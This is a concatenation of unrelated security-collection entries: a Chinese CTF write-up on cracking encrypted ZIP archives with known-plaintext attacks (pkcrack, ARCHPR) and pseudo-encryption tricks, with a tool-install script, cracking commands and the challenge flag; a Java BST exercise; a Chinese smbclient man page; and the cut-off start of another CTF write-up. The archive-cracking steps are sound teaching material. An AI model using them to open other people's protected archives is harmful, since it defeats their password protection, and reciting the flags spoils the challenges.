> WP:https://www.cnblogs.com/ECJTUACM-873284962/p/9884416.html
首先我们拿到这样一道题,题目标题为**爆破?**,很明显这题肯定是要用到一个破解工具,很暴力的说。
**第一步、分析压缩包文件**
我们下载了这个压缩包以后,我们看到文件名是 ***.zip** 结尾,我们可以立即想到破解压缩包常用的几种方式,我们将其压缩包解压出来,发现里面有两个文件,分别为 `Desktop.zip` 和 `readme.txt` ,我们看看 `readme.txt` 里面写了什么?
打开以后竟然是`qianwanbuyaogeixuanshoukandao!!!` ,出题人不想让选手看到,这出题人还是有点意思。我们再看看那个 `Desktop.zip` ,我们可以看到里面有个 `readme.txt` 文件和 `answer` 文件夹, `answer` 文件夹下有 `key.txt` 文件, `flag` 应该就藏在这里了。
**第二步、分析破解方式**
这题目拿到手上,我们首先发现解压出来的文件和 `Desktop.zip` 压缩包中都含有同样一个文件 `readme.txt` ,而且并没有给出其他相关信息,且文件大小大于 `12Byte` ,我们再对比压缩包中的 `readme.txt` 和原压缩包中的 `readme.txt` 的 `CRC32` 的值,我们发现两个值相同,这说明解压出的 `readme.txt` 是加密压缩包里的 `readme.txt` 的明文,于是我们可以大胆地猜测这极可能是个明文加密。
**第三步、尝试明文攻击**
既然我们已经知道了它是明文攻击的话,我们将对其压缩包进行破解,由于解压出的readme.txt是加密压缩包里的 `readme.txt` 的明文,将 `readme.txt` 压缩成 **.zip** 文件,然后在软件中填入相应的路径即可开始进行明文攻击,这里我们将介绍 `Windows` 和 `Ubuntu` 下使用不同的方式进行明文攻击。
方法一、 `pkcrack` 进行明文攻击
`pkcrack` 下载链接:https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html
我们可以直接写个 `shell` 脚本下载就好了:
```shell
#!/bin/bash -ex
wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
tar xzf pkcrack-1.2.2.tar.gz
cd pkcrack-1.2.2/src
make
mkdir -p ../../bin
cp extract findkey makekey pkcrack zipdecrypt ../../bin
cd ../../
```
把文件保存,改为 `pkcrack-install.sh` ,然后跑到当前目录下,给它加一个执行权限 `x` 。
```shell
chmod 777 install.sh
```
或者直接可以:
```shell
chmod u+x install.sh
```
然后运行 `./pkcrack-install.sh`
然后当前目录下会生成一个 `bin` 的文件夹,我们直接进入 `bin` 文件夹下,看到有 `pkcrack` 文件,直接对文件进行明文破解。
```shell
./pkcrack -c "readme.txt" -p readme.txt -C ~/下载/misc/Desktop.zip -P ~/下载/misc/readme.zip -d ~/decrypt.zip
```
我们所用到的参数选项如下:
```shell
-C:要破解的目标文件(含路径)
-c:破解文件中的明文文件的名字(其路径不包括系统路径,从zip文件一层开始)
-P:压缩后的明文文件
-p:压缩的明文文件中明文文件的名字(也就是readme.txt在readme.zip中的位置)
-d:指定文件名及所在的绝对路径,将解密后的zip文件输出
```
至于其他选项参看 `./pkcrack --help`
解密后的结果如下:
我们可以看到,我们下午 `1:10` 开始跑的,下午 `3:27` 才求解出秘钥。
我们得出了最终的flag为:**`flag{7ip_Fi13_S0m3tim3s_s0_3a5y@}`**
**坑点来了**
看起来一切都很顺利的样子,同样花了两个多小时,为啥我在博客园上写了我跑了两个小时都没跑出来呢?或者说有朋友遇到了和我一样的问题,我明明和你是一样的,为啥我跑不出结果?
你们可能忽略了一些细节问题,有人曾想过原压缩包是通过什么方式压缩的嘛?还有就是我们生成的 `readme.zip` 又该以哪种方式去生成呢?我就是因为这个问题卡了整整三个月没做出来,不信的话我们可以看看第二种方法,在 `Windows` 下用 `ARCHPR` 进行明文攻击。
方法二、 `ARCHPR` 进行明文攻击
首先这题我建议大家下 `ARCHPR 4.53` 版本,我是在这个版本下测试成功的。成功截图如下:
我相信很多朋友在用 `ARCHPR` 的时候遇到以下这种情况:
我当时内心是崩溃的,为啥会出现这种情况。
在后来的学习中发现,用 `7z` 压缩的文件得用 `7z` 来解压缩, `7z` 是一种使用多种压缩算法进行数据压缩的档案格式,和传统的 `zip` , `rar` 相比,它的压缩比率更大,采用的压缩算法不同,自然而然就可能出现不匹配这种情况,所以我们在解压缩原压缩包和对文件进行加密的时候得先分析出题人是用什么方式进行加解密的,所以这题的问题显而易见就出来了,经过验证,我发现出题人是用 `7z` 进行压缩的。
**再尝试**
我们已经发现了这个问题,我们去官网下载 `7zip` :https://www.7-zip.org/
然后我们对原压缩文件用 `7z` 进行解压缩,然后将 `readme.txt` 用7z进行压缩即可。然后我们就可以用 `ARCHPR` 进行明文攻击了。
结果如下:
我们将 `Desktop_decrypted.zip` 解压出来,查看 `answer` 目录下的 `key.txt` 即可。
所以最终的flag为:**`flag{7ip_Fi13_S0m3tim3s_s0_3a5y@}`**
### 伪加密
#### 原理
在上文 `ZIP` 格式中的 **核心目录区** 中,我们强调了一个叫做通用位标记 `(General purpose bit flag)` 的 `2` 字节,不同比特位有着不同的含义。
```shell
Bit 0: If set, indicates that the file is encrypted.
(For Method 6 - Imploding)
Bit 1: If the compression method used was type 6,
Imploding, then this bit, if set, indicates
an 8K sliding dictionary was used. If clear,
then a 4K sliding dictionary was used.
...
Bit 6: Strong encryption. If this bit is set, you should
set the version needed to extract value to at least
50 and you must also set bit 0. If AES encryption
is used, the version needed to extract value must
be at least 51.
...
```
在 `010Editor` 中我们尝试着将这 `1` 位修改 `0 --> 1`。
再打开文件发现已要求输入密码。
修改伪加密的方法:
- `16` 进制下修改通用位标记
- `binwalk -e` 无视伪加密
- 在 `Mac OS` 及部分 `Linux`(如 `Kali` )系统中,可以直接打开伪加密的 `ZIP` 压缩包
- 检测伪加密的小工具 `ZipCenOp.jar`
- 有时候用 `WinRar` 的修复功能(此方法有时有奇效,不仅针对伪加密)
#### 例题
> `SSCTF-2017` :我们的秘密是绿色的
>
> `WP`:<http://bobao.360.cn/ctf/detail/197.html>
我们在得到两个 `readme.txt`,且一个加密,一个已知,很容易想到明文攻击的手法。
注意在用明文攻击时的操作。
得到密码 `Y29mZmVl` 后,解压缩文件,得到另一个压缩包。
观察通用位标记位,猜测伪加密,修改后解压得到 flag。
这一题,基本涵盖了比赛中 ZIP 的常见考察手法,爆破,伪加密,明文攻击等,都在本题中出现。
### 参考文献
- https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.2.0.txt
- https://www.cnblogs.com/ECJTUACM-873284962/p/9387711.html
- https://www.cnblogs.com/ECJTUACM-873284962/p/9884416.html
- http://bobao.360.cn/ctf/detail/197.html
|
sec-knowleage
|
# 54. 二叉查找树的第 K 个结点
[NowCoder](https://www.nowcoder.com/practice/ef068f602dde4d28aab2b210e859150a?tpId=13&tqId=11215&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 解题思路
利用二叉查找树中序遍历有序的特点。
```java
private TreeNode ret;
private int cnt = 0;
public TreeNode KthNode(TreeNode pRoot, int k) {
inOrder(pRoot, k);
return ret;
}
private void inOrder(TreeNode root, int k) {
if (root == null || cnt >= k)
return;
inOrder(root.left, k);
cnt++;
if (cnt == k)
ret = root;
inOrder(root.right, k);
}
```
|
sec-knowleage
|
.\"Generated by db2man.xsl. Don't modify this, modify the source.
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "SMBCLIENT" 1 "" "" ""
.SH NAME
smbclient \- 类似FTP操作方式的访问SMB/CIFS服务器资源的客户端
.SH "总览 SYNOPSIS"
\fBsmbclient\fR {servicename} [password] [-b <buffer size>] [-d
debuglevel] [-D Directory] [-U username] [-W workgroup] [-M <netbios
name>] [-m maxprotocol] [-A authfile] [-N] [-l logfile] [-L <netbios
name>] [-I destinationIP] [-E] [-c <command string>] [-i scope] [-O
<socket options>] [-p port] [-R <name resolve order>] [-s <smb config
file>] [-T<c|x>IXFqgbNan] [-k]
.SH "描述 DESCRIPTION"
.PP
此程序是\fBSamba\fR(7)套件的一部分。
.PP
\fBsmbclient\fR 是个可以和SMB/CIFS服务器\(lq交谈\(rq的客户端程序。它提供
了类似FTP程序(参见\fBftp\fR (1))的用户界面。它可以完成的操作包括象从服务
器下载文件到本地,上传本地文件到服务器及在服务器上查找目录信息等。
.SH "选项 OPTIONS"
.TP
servicename
servicename就是你要使用的服务名称。服务名使用\fI//server/service\fR这样的形式,其中\fIserver \fR 是提供服务的SMB/CIFS服务器的NetBIOS名字,而\fIservice\fR 是可获得服务资源的名称。所以如果要联接服务器"smbserver"上的"printer"服务的话,应该使用这样的服务名称:\fI//smbserver/printer \fR
注意服务名不使用服务器的IP(或DNS)主机名,而应该用NetBIOS名,而它可能与服务器的IP主机名相同当然也可能不相同。
服务器名是根据\fBsmbclient\fR使用的\fI-R\fR 参数或者\fBsmb.conf\fR(5)配置文件中的名称解析顺序参数来解析的。名称解析参数使管理员可以控制名称解析的顺序和方法。
.TP
password
用password指定访问服务时所需的口令。如果使用了这个选项,就假定使用了\fI-N\fR(suppress password prompt)参数,在执行过程中不出现口令提示。
口令没有默认值。如果在命令行上没有提供口令(或者使用这个参数,或者在\fI-U-fR参数中指定),并且也没有使用\fI-N\fR选项,那么即使需要的服务项不要求口令,程序也会提供要用户输入一个口令。(如果服务不需要口令,只要简单地打个回车就向服务器回应了一个空口令)
注意:有些服务器(包括OS/2和Windows for Workgroups)会强调使用大写口令,它们会拒绝小写或者大小写混合的口令。
在脚本中使用口令要小心。(可能有安全问题嘛!)
.TP
-R <name resolve order>
通过指定这个选项让Samba套件中的程序决定使用怎样的名字解析服务及其次序来解决主机名和IP的对应。这个选项以一个以空格分隔的不同的名称解析方法为选项值。
可选值是:\(lqlmhosts\(rq,\(lqhost\(rq,\(lqwins\(rq和\(lqbcast\(rq。这些选项使名字解析按以下的方法来进行:
\fBlmhosts\fR: 向Samba的lmhosts文件查询IP地址。If the line in lmhosts has no name type attached to the NetBIOS name (see the \fBlmhosts\fR(5) for details) then any name type matches for lookup.
\fBhost\fR: 用标准的名字到IP地址解析方法:系统\fI/etc/hosts\fR文件,NIS或DNS查询。如何使用这个名字解析由系统决定。举例来说,在IRIX或者Solaris系统中,\fI/etc/nsswitch.conf\fR文件会处理这些问题。 Note that this method is only used if the NetBIOS name type being queried is the 0x20 (server) name type, otherwise it is ignored.
\fBwins\fR: 用配置文件中\fIwins server\fR选项列出的地址来查询名字。如果没有指定WINS服务器的话 会略过这种方法。
\fBbcast\fR: 向配置文件中\fIinterfaces\fR参数列出的每个已知本地接口进行广播来进行查询。这是最不可靠的名字解析方法,因为它要求目标主机在本地子网内。
如果不使用这个参数的话,将按 \fBsmb.conf\fR(5)配置文件中(name resolve order)参数指定的次序来进行名字解析。
默认的解析次序是lmhosts,host,wins,bcast,在不使用这个参数或者没有在\fBsmb.conf\fR(5)配置文件中设定\fIname resolve order \fR参数的情况下将使用这样的次序进行解析。
.TP
-M NetBIOS name
使用这个选项可以让你以\(lqWinPopup\(rq 协议向其它计算机发送信息。一旦联接成功你就可以发送信息了,结束时可以按^D(Ctl-D).
如果接受方计算机也正在运行WinPopup的话,用户会收到发送的信息并且系统可能会鸣叫一声。如果对方并没有运行WinPopup的话信息就被丢弃,而不会发出出错信息。
如果发送的信息超过1600字节的话会自动被截断,因为这是此协议规定的极限。
这里有个很有用的小技巧,通过\fBsmbclient\fR,用cat处理信息,例如:
\fB cat mymessage.txt | smbclient -M FRED \fR 将会把 \fImymessage.txt\fR 中的信息发送给主机 FRED.
你也许会发现\fI-U\fR和\fI-I\fR选项很有用,因为它们允许你控制信息的源地址和目的地址部分。
参见\fBsmb.conf\fR(5)配置文件中的\fImessage command\fR参数获得如何在Samba中处理新进的WinPopup消息的详细描述。
\fB注意\fR:如果你总是要用你的WfWg PC的WinPopup来接收消息的话可以在你的Windows机器中把它拷到\(lq启动\(rq中。
.TP
-p port
联接服务器所用的TCP端口号。标准(众所周知)的SMB/CIFS服务器TCP端口是139,当然也是默认值。
.TP
-h|--help
打印出命令行帮助信息。
.TP
-I IP-address
指定要联接的服务器IP地址。当然格式应该是\(lqa.b.c.d\(rq。
通常client会使用上面介绍过的\fIname resolve order\fR参数中描述的NetBIOS名字解析机制通过查询尝试查找一个已命名的SMB/CIFS服务器。使用这个参数会强制客户端程序采用指定的IP地址而忽略要联接的服务资源的NetBIOS名部分。
这个参数并没有默认值。如果不指定的话程序会用上面说的方法来自动检测。
.TP
-E
当使用了这个参数后,程序会把信息写到标准错误流(stderr)而不是标准输入流中。
默认情况下,程序会把信息写入标准输入中 - 典型的例子是用户的tty。
.TP
-L
此选项允许你查看服务器上可以获得的服务资源。使用\fBsmbclient -L host\fR 命令会显示一份列表。如果你的NetBIOS名与TCP/IP域名不匹配或者要在其它网络上查找主机时,\fI-I \fR 选项会非常有用。
.TP
-t terminal code
用这个选项告诉\fBsmbclient\fR怎样解释从远程服务器上传来的文件名。通常,UNIX系统对亚洲多字节的语言的实现与SMB/CIFS服务器使用的字符集不同(例如用\fBEUC\fR代替\fB SJIS\fR)。设置这个参数可以让\fBsmbclient\fR 在UNIX文件名与SMB文件名之间进行正确的转换。不过,这个选项还没有经过严格的测试,所以可能会有些问题。
终端编码包含CWsjis, CWeuc, CWjis7, CWjis8, CWjunet, CWhex, CWcap. 当然这个列表并不完整,要获取完整列表请查看samba 源码。
.TP
-b buffersize
在对服务器进行上/下传文件时可以用这个选项来改变传输缓冲大小。默认值是65520个字节。当从一个Win9x的服务器上进行文件传输时,把这个值设为稍小一点的值(例如1200字节)可以得到一些速度提升。
.TP
-V
Prints the program version number\&.
.TP
-s <configuration file>
指定的这个文件包含服务器需要的配置详细信息。文件中的信息包含针对服务器的信息,比如使用什么printcap文件,还有所有服务器提供的服务的描述。参见\fIsmb.conf\fR来获得更多信息。默认的配置文件名是在编译时指定的。
.TP
-d|--debug=debuglevel
\fIdebuglevel\fR 调试等级是个从0到10的整数。参数未指定时默认值为0。
如果这个值越高,越多关于服务器的详细活动信息将被记录到文件中。在0调试级时,只记录紧急错误和严重警告。对于平日的运行服务,1调试级是个合理的等级,它只产生小量的关于执行操作的信息。
1以上的调试级将产生相当多的记录数据,并且只在解决问题时才有用。3以上的调试级只被设计为让开发者使用并会产生极大数量的记录数据,而且其中很多部分非常难以理解。
注意在此使用这个参数将越过在\fIsmb.conf\fR (5)文件中的\fIlog level\fR参数。
.TP
-l|--logfile=logbasename
指定一个记录和调试的文件名。文件会被添加\fB.client\fR扩展名。记录文件无法被客户端删除。
.TP
-N
如果指定了这个选项,就会省略通常的口令提示。当访问无需口令的服务资源时它很有用。
除非在命令行上输入了口令或者使用了上述这个选项,否则用户将被提示要求输入一个口令。
.TP
-k
Try to authenticate with kerberos\&. Only useful in an Active Directory environment\&.
.TP
-A|--authfile=filename
This option allows you to specify a file from which to read the username and password used in the connection\&. The format of the file is
.nf
username = <value>
password = <value>
domain = <value>
.fi
Make certain that the permissions on the file restrict access from unwanted users\&.
.TP
-U|--user=username[%password]
这个参数指定程序联接时使用的用户名或者用户名和密码
如果没指定%password,将提示用户输入。程序会使用环境变量USER或LOGNAME,如果任何一个存在就会被转换为大写。如果既没有用户名也不存在环境变量的话,将使用\fBGUEST\fR作为用户名。
A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the \fI-A\fR for more details.
在脚本中包含口令或者使用PASSWD环境变量时要小心。而且在很多系统中,运行的命令行可以通过\fBps\fR命令来查看,所以让\fBrpcclient\fR提示输入口令并直接键入会比较安全。
.TP
-n <primary NetBIOS name>
使用这个选项让你越过机器的主机名而使用你要用的NetBIOS名。这样作和设置\fIsmb.conf\fR文件中的\fInetbios name\fR选项作用相同。但是,命令行设置比配置文件中的设置优先级高。
.TP
-i <scope>
这个参数指定一个产生NetBIOS名字时\fBnmblookup\fR用来通信所需要的NetBIOS范围。对于NetBIOS范围这个概念,可以参见rfc1001.txt和rfc1002.txt这两个文件中的详细定义。实际上这个NetBIOS范围的概念\fB很少\fR被用到,仅当你作为负责整个NetBIOS通信的管理员时才要设置。
.TP
-W|--workgroup=domain
设置用户名的SMB域。这个选项越过了smb.conf配置文件中的默认域。如果指定的域与服务器NetBIOS名相同,会使得用户使用服务器本地安全管理local SAM来登录(与域SAM相反).
.TP
-O socket options
TCP套接字选项用来在客户端设定套接字方面的功能。参见\fIsmb.conf\fR(5)手册页中的socket options参数获得合法的选项列表。
.TP
-T tar options
我们可以用smbclient来对位于SMB/CIFS共享资源上的所有文件建立兼容\fBtar(1) \fR 格式的备份。可使用的tar选项是以下这些:
\fIc\fR - 在unix系统上建立一个tar文件。当然了,卷文件名,目标设备都必须给出,或者用"-"代表标准输出。如果用 标准输出,你必须把记录等级调到它的最低值-d0以避免影响产生的tar文件。这个标志的功能正好与\fIx\fR标志相反。
\fIx\fR - 用这个标志可以把本地的一个tar备份文件释放(恢复)到共享资源上。除非使用了-D选项,tar备份文件将从共享资源的顶层开始恢复。当然了,使用这个参数时后面必须紧跟一个想要恢复的文件名,设备,或者用"-"代表标准输入。与上面一样,这个标志的功能正好与\fIc\fR标志的功能相反。恢复后文件的建立时间(mtime)会被tar文件中保存的日期来替换, 而目录无法做到这一点的。
\fII\fR - 用这个标志可以包含文件和目录。当在用-T参数时指定了一个文件名的话这就是默认的操作了。在释放或建立时tar文件都会包含这些内容(同时不会包含其他的内容)。参见下面的示例。文件名通配符有两种方式,参见下面\fIr\fR 。
\fIX\fR - 排除文件和目录。在释放或者建立备份时使这些文件或目录不被包含在内。请看下面的示例文件名通配符有两种方式,参见下面\fIr\fR 。
\fIb\fR - 块大小。在这个标志后必须用一个合法的块大小(大于0)。使建立备份时写入到块大小*TBLOCK(通常是512字节)这样 大小的块中。
\fIg\fR - 增量备份。只备份设置了归档位的文件。必须与\fIc\fR标志一起使用。
\fIq\fR - 静态工作。当操作进行时没有输出。它的意义与tar相应的静态工作模式一样。
\fIr\fR - 用正则表达式来描述包含或排除操作。当用HAVE_REGEX_H编译的话,用通常的正则表达式可以描述排除操作及要排除的文件,但是这种模式工作非常慢。如果没有用HAVE_REGEX_H的话,仅仅可以用通配符'*'和'?'。
\fIN\fR - 时间更新(newer)的文件.在这个标志后面必须是一个用来与共享中的文件创建时间做比较的文件名。只有共享中的文件比指定的文件要新的时候才会被备份。必须 与\fIc\fR标志一起使用。
\fIa\fR -设定归档位。使用这个标志在备份时对文件设置归档位。必须与\fIg\fR和fIc\fR标志一起用.
\fBTar Long File Names\fR
\fBsmbclient\fR的tar选项现在可以在备份与恢复操作时支持长文件名了。但是,文件的完整路径描述必须小于1024 个字节。而且,当建立了一个归档包时,\fBsmbclient\fR的tar选面会用文件相对路径写入归档包中,而不是绝对路径。
\fBTar Filenames\fR
所有的文件名都要以DOS路径名(以'\\\\'作分隔符)或UNIX路径名(以'/'作分隔符)给出。
\fB示例 \fR
把备份文件\fIbackup.tar\fR恢复到位于mypc上的myshare中(无须口令)
\fBsmbclient //mypc/yshare "" -N -Tx backup.tar \fR
恢复除了\fIusers/docs\fR以外的所有内容
\fBsmbclient //mypc/myshare "" -N -TXx backup.tar users/docs\fR
在\fI users/docs\fR下建立一个备份文件
\fBsmbclient //mypc/myshare "" -N -Tc backup.tar users/docs \fR
与上面操作相同,不过用的是DOS路径名
\fBsmbclient //mypc/myshare "" -N -tc backup.tar users\edocs \fR
对共享资源上所有内容(文件和目录)作一完整的备份
\fBsmbclient //mypc/myshare "" -N -Tc backup.tar * \fR
.TP
-D initial directory
在开始前用这个参数来改变初始目录。可能只在用tar的-T选项才用。
.TP
-c command string
命令字符串串是一个以单引号(\(lq'\(rq)分隔的用来替换标准输入提示的一系列命令列表,这个参数意味着\fI -N\fR。
当使用脚本或者要打印标准输入信息到服务器时这个选项就非常有用了,例如:\fB-c 'print -'\fR
.SH "操作 OPERATIONS"
.PP
一旦运行了这个命令,就会在用户的提示行出现以下信息:
.PP
smb:\\>
.PP
反斜杠符("\\\\")指出了在服务器上用户当前的工作路径,如果这个路径改变了的话,相同的提示也会改变。
.PP
提示符表示用户准备好并等待执行一个用户命令。每个命令都是一个单独的词,一般随后可以有选择地指定一些命令所需的参数。命令和参数之间用空格来分隔,除非有其它规定。当然所有命令都区分大小写,而参数可能不一定要区分大小写,不过这应该由命令来决定。
.PP
要在文件名中使用空格的话必须用双引号封闭,例如:"a long file name"。
.PP
以方括号("[]")封闭的参数是可选项,如果没有使用,命令还是以默认的情况执行;而以尖括号<>封闭的参数就是必须的了。
.PP
注意,所有对服务器的命令操作实际上是完成的是向服务器发送一个请求。因而,这种动作可能在服务器到服务器之间会作些改变,这由服务器的实现方式来决定。
.PP
下面以字母次序给出可以使用的命令。
.TP
? [command]
如果指定了\fIcommand\fR ,那么?命令就显示该命令的一些简单介绍信息。如果单独使用?的话,它会 给出一份给用命令的列表。
.TP
! [shell command]
如果指定了 \fIshell command\fR,那么!命令会执行一个本地的命令解释器并运行指定的shell命令。如果不指定 要运行哪个shell命令,那么就只执行一个本地命令解释器。
.TP
altname file
The client will request that the server return the "alternate" name (the 8\&.3 name) for a file or directory\&.
.TP
cancel jobid0 [jobid1] \&.\&.\&. [jobidN]
The client will request that the server cancel the printjobs identified by the given numeric print job ids\&.
.TP
chmod file mode in octal
This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not\&. The client requests that the server change the UNIX permissions to the given octal mode, in standard UNIX format\&.
.TP
chown file uid gid
This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not\&. The client requests that the server change the UNIX user and group ownership to the given decimal values\&. Note there is currently no way to remotely look up the UNIX uid and gid values for a given name\&. This may be addressed in future versions of the CIFS UNIX extensions\&.
.TP
cd [directory name]
如果指定了"directory name",那么服务器的当前工作路径就改为用户指定的路径。如果指定了任何不可访问的目录的话,该操作就失败了。
如果不指定目录名,就向用户给出服务器当前工作路径。
.TP
del <mask>
删除所有当前工作路径中匹配\fImask\fR的文件。
.TP
dir <mask>
列出所有当前工作路径中匹配\fImask\fR的文件。
.TP
exit
终止联接并退出程序。
.TP
get <remote file name> [local file name]
把服务器上名为\fIremote file name\fR的文件到拷贝到本地,名称为\fIlocal file name\fR。要注意的是,\fBsmbclient\fR所用的传送模式为二进制模式。同时参见lowercase命令。
.TP
help [command]
同以上的?命令相同。
.TP
lcd [directory name]
把本机目录改为\fIdirectory name\fR指定的地点。如果要换的目录是不可访问的话,操作将会失败。
如果不指定目录名,则显示当前本机的工作路径。
.TP
link source destination
This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not\&. The client requests that the server create a hard link between the source and destination files\&. The source file must not exist\&.
.TP
lowercase
在get和mget命令中选用小写字符作为文件名。
当选择了小写状态时,用get和mget命令时会把本地文件名都转换为小写。从服务器上拷贝MSDOS 文件时这个选项非常有用,因为小写文件名是UNIX系统的标准。
.TP
ls <mask>
同以上的dir命令。
.TP
mask <mask>
此命令允许用户设置在mget和mput命令的递归形式操作中使用的一个掩码(通配符)。
当选择了递归复制目录时,mget和mput命令指定这个掩码(通配符)作为目录过滤器。
用mask命令指定的掩码可以用来过滤目录中的文件。例如,如果在mget命令中指定了掩码"source*",并且用mask命令指定了文件掩码"*.c",并且选择了递归复制目录的话,mget命令会下载所有在当前工作目录中匹配"source*"的目录以及其下所有匹配"*.c" 的文件。
注意掩码(通配符)默认值是空(等价于"*"),除非使用mask命令来改变它。它会一直保持最近一次指定的值。为了避免出现意外的结果,在使用了mget和mput命令之后把值改回"*"是比较明智的。
.TP
md <directory name>
同以上的mkdir命令。
.TP
mget <mask>
复制服务器上所有匹配\fImask\fR 的文件到本机。
注意\fImask\fR在命令的递归调用和非递归调用两种方法之间有不同的解释含义 - 请参考recurse和mask命令获得更多信息。其次就是\fBsmbclient\fR传送的方式是二进制的。另见lowercase命令。
.TP
mkdir <directory name>
在服务器上建立指定名称的目录(当然用户要有相应的访问权限)。
.TP
mput <mask>
复制本机上当前目录内所有匹配\fImask\fR 的文件到服务器当前工作目录。
注意\fImask\fR在命令的递归调用和非递归调用两种方法之间有不同的解释含义 - 请参考recurse和mask命令获得更多信息。其次就是\fBsmbclient\fR 传送的方式是二进制的。
.TP
print <file name>
打印本机上指定的文件到服务器的可打印资源上。
参见printmode命令。
.TP
printmode <graphics or text>
设定打印模式以适应二进制数据(例如图形信息)或文本,这样后续的打印命令皆使用当前设好的打印模式。
.TP
prompt
在执行mget和mput命令时使用对文件名的提示。
当用提示时,在执行命令期间会提示用户对每个要传送的文件进行确认。反之,所有传送操作都不会出现提示。
.TP
put <local file name> [remote file name]
从本机拷贝名为\fIlocal file name\fR的文件到服务器上并取名为\fIremote file name\fR。与上面提到的一样,\fBsmbclient\fR 传送用的是二进制模式。参见lowercase命令。
.TP
queue
用来显示打印队列、任务标识、名称、容量大小和当前状态。
.TP
quit
参见exit命令。
.TP
rd <directory name>
参见rmdir命令。
.TP
recurse
以目录递归方式运行mget和mput命令。
当使用了递归方式时,这些执行的命令会处理源目录下所有的子目录,进入匹配通配符的子目录。只有与mask命令指定的通配符相符的文件才会被处理。参见mask命令。
当没有使用这种递归方式时,只有源主机当前工作目录中与匹配通配符的文件才会被复制。mask命令指定的通配符将被忽略。
.TP
rm <mask>
删除所有服务器上当前工作目录中与\fImask\fR相符的文件。
.TP
rmdir <directory name>
从服务器上删除指定的目录,当然了,需要一定的用户访问权限。
.TP
setmode <filename> <perm=[+|\\-]rsha>
与DOS命令attrib类似的东东,用来设定文件权限,例如:
\fBsetmode myfile +r \fR
将把myfile设为只读。
.TP
symlink source destination
This command depends on the server supporting the CIFS UNIX extensions and will fail if the server does not\&. The client requests that the server create a symbolic hard link between the source and destination files\&. The source file must not exist\&. Note that the server will not create a link to any path that lies outside the currently connected share\&. This is enforced by the Samba server\&.
.TP
tar <c|x>[IXbgNa]
执行一个tar操作。参见上面的 \fI-T \fR 命令行选项。tarmode命令可能会影响具体的行为。还有就是g(增量方式)和N(新建方式)会改变tarmode设定。这里要注意的是 tar x参数前加"-"可能会导致命令不执行,应当使用命令行选项方式。
.TP
blocksize <blocksize>
块大小。参数后必须跟一上合法的(就是比0大的数啦)块尺寸。因为在执行命令时,tar文件要被写到一个大小为\fIblocksize\fR*TBLOCK(一般是512字节)的块中。
.TP
tarmode <full|inc|reset|noreset>
根据归档位来改变tar的行为。当用完全备份时,tar会备份所有的内容而不管归档位是如何设置的,这正好是默认的工作模式。当为增量模式时,它只备份置有归档位的文件。而用重组模式时,tar会对所有要备份文件的归档位进行复位(同时读/写共享)。
.SH "注意 NOTES"
.PP
一些服务器对用户提供的用户名、口令、共享资源名(也就是服务名)和机器名的大小写形式非常挑剔。如果你联接失败,试一下全部用大写。
.PP
通常你在联接某种服务器时用-n选项会方便一点。例如OS/2 LanManager会强调要使用合法的NetBIOS名字,所以你需要提供让服务器可以理解的合法名字。
.PP
smbclient支持在服务器使用LANMAN2及更高的协议时使用长文件名。
.SH "环境变量 ENVIRONMENT VARIABLES"
.PP
\fBUSER\fR变量包含使用客户端的用户的用户名。只有当连接的协议等级足够高,支持会话级别的口令时才使用此信息。
.PP
\fBPASSWD\fR变量包含使用客户端的用户的口令。只有当连接的协议等级足够高,支持会话级别的口令时才使用此信息。
.PP
The variable \fBLIBSMB_PROG\fR may contain the path, executed with system(), which the client should connect to instead of connecting to a server\&. This functionality is primarily intended as a development aid, and works best when using a LMHOSTS file
.SH "安装 INSTALLATION"
.PP
存放这个程序的位置对于个人的系统管理员来说也是件麻烦事。下面仅仅是一些建议。
.PP
推荐你把smbclient软件包安装到\fI/usr/local/samba/bin/\fR或\fI /usr/samba/bin/\fR目录中,而这个目录对所有人来说应该是只读的,对root才是可写的。程序本身可以被所有人调用,但是它\fB不\fR是setuid或者setgid的。
.PP
而程序的记录文件应该放在一个用户可读写的目录中。
.PP
要测试这个程序,你要先知道运行SMB/CIFS的服务器名。这个服务器可能运行着\fBsmbd\fR(8) a守护进程并提供一个用户可以访问的端口(通常端口号大于1024),这样用户就可以用这些数据来测试了。
.SH "诊断 DIAGNOSTICS"
.PP
通常情况下诊断信息都记录到指定好的记录文件中。这个文件的名称是在编译时指定的,但也可以用命令行来指定。
.PP
用户可以得到的诊断信息的数量和种类取决于用户执行客户端程序时所用的调试等级。如果你发现有问题的话,把调试级设到3并详细阅读记录文件里的内容。
.SH "版本 VERSION"
.PP
此手册页是针对Samba套件版本2.2的。
.SH "作者 AUTHOR"
.PP
samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。
.PP
最初的samba手册页是 Karl Auer写的。
手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在ftp://ftp.ice.rug.nl/pub/unix找到),由Jeremy Sllison 更新到Samba2.0 版本。
Gerald Carter 在Samba2.2中将它转化为DocBook 格式。
Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# The search for a higher being (2/5)
Category: Innovation
## Description
> You are orbiting mars, is it there where the intelligent life reside?
>
> https://s3.us-west-2.amazonaws.com/cyber-ctf.be/mars.html
>
## Solution
We visit the attached website and see the following text:
```
Welcome! I'm captain Russel, We've been waiting for you.
We have detected some weird signals originating from the surface of the planet. We think it might be from a new undiscovered race! Can you find it?
```
By inspecting the source, we find the following hidden `div`:
```html
<div style="display: none;">
